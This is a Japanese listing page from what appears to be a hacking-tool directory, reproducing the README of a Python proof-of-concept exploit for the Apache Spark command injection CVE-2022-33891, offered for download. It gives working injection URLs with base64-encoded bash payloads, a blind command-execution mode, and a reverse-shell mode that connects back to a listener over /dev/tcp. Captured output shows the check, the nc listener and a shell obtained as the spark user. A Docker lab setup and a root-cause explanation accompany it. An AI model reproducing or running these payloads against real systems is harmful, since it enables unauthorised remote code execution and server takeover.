Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2022-33891 — Apache Spark シェルコマンドインジェクション (CVE-2022-33891) の Python 概念実証。スリープベースの検出、対話型コマンド実行、脆弱な Spark UI に対するリバースシェル機能を備えています。 | Kitploit
ツール/GitHubGitHub/akbartrilaksana/cve-2022-33891
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール
GitHubakbartrilaksana/cve-2022-33891

cve-2022-33891

Apache Spark シェルコマンドインジェクション (CVE-2022-33891) の Python 概念実証。スリープベースの検出、対話型コマンド実行、脆弱な Spark UI に対するリバースシェル機能を備えています。

リポジトリを見る
3128ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-33891

Apache Spark シェルコマンドインジェクションの脆弱性

Apache Spark シェルコマンドインジェクションの脆弱性を悪用するための Python POC です。他の POC もいくつか見かけましたが、それらは非常に怪しいものでした。これはクリーンでシンプルです。

私はこのエクスプロイト/脆弱性を発見したわけではありません。コミュニティのために安全な POC を作りたかっただけです ^.^

影響を受けるバージョン

Apache Spark バージョン 3.0.3 およびそれ以前、バージョン 3.1.1 から 3.1.2、およびバージョン 3.2.0 から 3.2.1

脆弱なコンポーネント

root@kitploit:~
http://localhost:8080/?doAs=`[command injection here]`

例

root@kitploit:~
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`

... 10秒スリープします

セットアップ

脆弱なバージョンの Spark が必要で、設定オプションを1つ変更する必要があります。

  • 依存関係をインストール: $ pip3 install -r requirements.txt
  • spark/ ディレクトリに移動します。
  • spark/ ディレクトリ内の提供された docker-compose.yml を使用して docker-compose up を実行します。コンテナが起動するのを待ちます。
  • 新しいターミナルで、sudo docker exec -it spark_spark_1 /bin/bash を入力します。
  • コンテナの bash セッション内で、次のコマンドを入力します: echo "spark.acls.enable true" >> conf/spark-defaults.conf
  • 必要に応じて、cat で spark-defaults.conf の内容を確認し、問題ないことを確認します。
  • 対話型 bash シェルを終了し、Ctrl-C で docker-compose プロセスを停止します。
  • コンテナが正常に停止したら、再度 docker-compose up を実行します。

使用方法

root@kitploit:~
usage: poc.py [-h] -u URL -p PORT [--revshell] [-lh LISTENINGHOST] [-lp LISTENINGPORT] [--check]

CVE-2022-33891 Python POC Exploit Script

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL to exploit.
  -p PORT, --port PORT  Exploit target's port.
  --revshell            Reverse Shell option.
  -lh LISTENINGHOST, --listeninghost LISTENINGHOST
                        Your listening host IP address.
  -lp LISTENINGPORT, --listeningport LISTENINGPORT
                        Your listening host port.
  --check               Checks if the target is exploitable with a sleep test

例

ターゲットが脆弱かどうかを確認する:

root@kitploit:~
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --check
[*] Attempting to connect to site...
[*] Performing sleep test of 10 seconds...
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[+] Sleep was 10 seconds! This target is probably vulnerable!

コマンドプロンプトループでコマンドを発行する:

root@kitploit:~
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
> sleep 5
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
> 

リバースシェルを実行する:

root@kitploit:~
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 192.168.138.131 -lp 1337
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
 nc -nvlp 1337
[!] When your listener is set up, press enter!
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzguMTMxLzEzMzcgMD4mMQ== | base64 -d | bash`

...[別のターミナルで]...

husky@dev-kde:~/spark$ nc -nvlp 1337
Listening on 0.0.0.0 1337
Connection received on 172.21.0.2 55278
sh: 0: can't access tty; job control turned off
$ whoami
spark

詳細情報

コマンドインジェクションは、Spark が生の Linux コマンドを使用して、?doAs パラメータで渡されたユーザーのグループメンバーシップをチェックするために発生します。

ユーザーとして id を渡すと、トレースバックに次のエラーが表示されます:

root@kitploit:~
spark_1  | 22/07/20 11:55:58 INFO Utils: id: 'id': no such user
spark_1  | 22/07/20 11:55:58 ERROR Utils: Process List(bash, -c, id -Gn 'id') exited with code 1: 
spark_1  | 22/07/20 11:55:58 ERROR Utils: Error getting groups for user='id'
spark_1  | 22/07/20 11:55:58 ERROR Utils: org.apache.spark.SparkException: Process List(bash, -c, id -Gn 'id') exited with code 1

ここで、Java は指定されたユーザーのグループメンバーシップを確認するために、id コマンドを bash -c に渡すのが最善と判断しました。問題は、これがコマンドインジェクションも許可してしまうことです。

パッチが適用されたバージョンでは、この呼び出しをパラメータ化し、bash -c id の代わりに /bin/id コマンドへの完全なパスを使用するようになっています。

注目すべき点として、コマンド実行中にページに何も反映されないため、これはブラインド OS インジェクションです。コマンドは実行されますが、成功したかどうか、または実行しようとしているプログラムがターゲットに存在するかどうかの兆候はありません。例えば、このリポジトリの docker-compose.yml で起動するコンテナには ping が含まれていないため、ping によるコマンドインジェクションの確認は機能しません。しかし、その状況はわからないため、成功したかどうか疑問に思うことになるでしょう。

スリープテストは安全な方法です ^.^

参考文献

  • https://securityonline.info/cve-2022-33891-apache-spark-shell-command-injection-vulnerability/
  • https://nvd.nist.gov/vuln/detail/CVE-2022-33891
  • https://spark.apache.org/docs/2.1.0/configuration.html
  • https://github.com/W01fh4cker/cve-2022-33891 (この POC の使用はお勧めしません)
ツールをダウンロード